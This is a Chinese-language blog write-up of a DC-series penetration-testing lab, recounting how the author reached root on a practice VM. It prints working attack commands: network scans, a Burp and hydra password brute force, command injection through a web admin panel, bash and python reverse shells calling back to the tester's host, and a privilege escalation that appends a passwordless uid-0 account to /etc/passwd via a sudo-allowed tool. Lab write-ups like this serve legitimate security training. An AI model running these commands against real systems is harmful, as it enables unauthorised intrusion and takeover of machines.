本篇靶场练习实际发生于今年5月,但由于个人原因,一直没发,留个记录吧
每个靶场其实都多多少少能学到新东西,但时间久了,不用可能会忘记,因此写下来以作为记录。实际渗透环境复杂得多,所以靶场其实是一个练兵场。举一反三才重要!
针对DC系列的靶场,其实最终目标都是获取root下的flag,来吧,继续整吧。
开整
网络发现
前三个靶场我都用的arp-scan
命令,来发现同网络主机,那其实还可以用nmap
或者netdiscover
来扫,这里就用netdiscover
啦
sudo netdiscover -i eth0
# 或
sudo netdiscover -r 192.168.32.0/24
# -i 指定网卡
# -r 指定扫描范围
# 采用第一种会扫描很多段,建议使用第二种指定范围的
扫完之后可能不会回到shell,需要ctrl+c
,然后去掉网关地址,锁定目标192.168.32.130,开枪。
端口扫描
nmap -sS -T4 -A -p- 192.168.32.130
端口信息:
- 80----ngnix1.15.10
- 22----openssh7.4
nice,有80端口,就好这口。
WEB入侵
既然有80段口,话不多说,我来瞅瞅这是么子鬼:
咦~一脸嫌弃,这是什么呀,只有个登录,不是某个CMS了,也没有任何提示了,也是,打了好几个靶场了,还需要啥提示。既然只有登录功能(只针对该靶场),那么可能想到的方法有以下几种:
- 暴力破解
- SQL注入
尝试SQL注入万能密码,账号admin’ or ‘1’='1,密码任意,看是否能成功,这里当登录失败时不会有任何提示,故不考虑了,直接暴破吧。BP截包:
右键send intruder,设置好后,开始暴破,需要注意的是,新版本bp设置线程是在Resource Pool设置:
开始暴破,这里用户字段选择/usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt
,密码选择/usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-1000.txt
,100那个试过了,不行,所以换了密码字典。还有一个小坑,如果暴破过程中有成功的,后续也都会显示登录成功:
获得账号密码:admin/happy
,拿来吧你,登录后发现命令执行功能点:
点进去后,发现默认三个选项:
- List Files == ls -l,列文件
- Disk Usage == du -h,展示磁盘使用量的统计信息,侧重在文件夹和文件的磁盘占用方面
- Disk Free == df -h,侧重在文件系统级别的磁盘占用方面
而且还有回显:
继续BP截包,尝试修改默认的ls -l
为whoami
:
可发现执行成功,且当前用户为www-data,再执行下id,查看以下uid为33,是一个普通用户:
继续看下有哪些命令ls /usr/bin
:
好办了,尝试bash反弹shell,失败:
bash -i >& /dev/tcp/192.168.32.128/7777 0>&1
那尝试python反弹shell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.128",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
提权
反弹shell后,尝试提权,老样子suid、sudo、内核这些都信息搜集一波,看下哪个可以用:
- 内核debian 4.9.30
- sudo不行,放弃
- suid,有个/home/jim/test.sh,或许可以
先看内核searchexploit debian 4.9.30
无果,放弃。。。
suid,那个/home/jim/test.sh呢
啥?一句话就把我打发了?
就准备放弃的时候,发现/home/jim下有个backups,看看备份了些啥?
哟~小样,原来放了个存密码的文件,让我想起了某攻防演练,云文档、运维机桌面上的密码文件。。。
哈,回想开了22端口,查看下存在那些用户cat /etc/passwd
:
可见存在以下几个用户:
- root
- jim
- sam
- charles
保存到user.txt里边,然后把old-passwords.bak保存到pass.txt里边,然后使用hydra对目标机的ssh开始暴破:
hydra -L user.txt -P pass.txt 192.168.32.130 ssh
发现账号密码:jim/jibril04,直接ssh上去
先去jim的家目录看看,查看以下mbox文件,发现只是一个test:
本以为真的没有路了,但我突然发现我登录时有一个提示"you have mail",说我有邮件,直接执行mail命令看看:
发现charles的密码^xHhA&hvim0y
,直接切换他用户su charles
,然后执行sudo -l
,发现teehee可以root权限执行,则可用来提权,teehee --help
查看下:
发下-a可以追加内容,那简单了,直接写一个uid=0的用户到passwd文件里即可提权成功:
echo "hack::0:0:::/bin/bash" | teehee -a /etc/passwd
su hack
发下-a可以追加内容,那简单了,直接写一个uid=0的用户到passwd文件里即可提权成功:
echo "hack::0:0:::/bin/bash" | teehee -a /etc/passwd
su hack
写在最后:
2022,这一年,我颓废了,膨胀了,忘记了初心,然而时间却已悄然逝去,头发亦然,本以为我会比去年更有激情,更有活力,可还是选择了舒适,选择了安逸,选择了躺平。也思考了有一段时间了,所以决定再出发。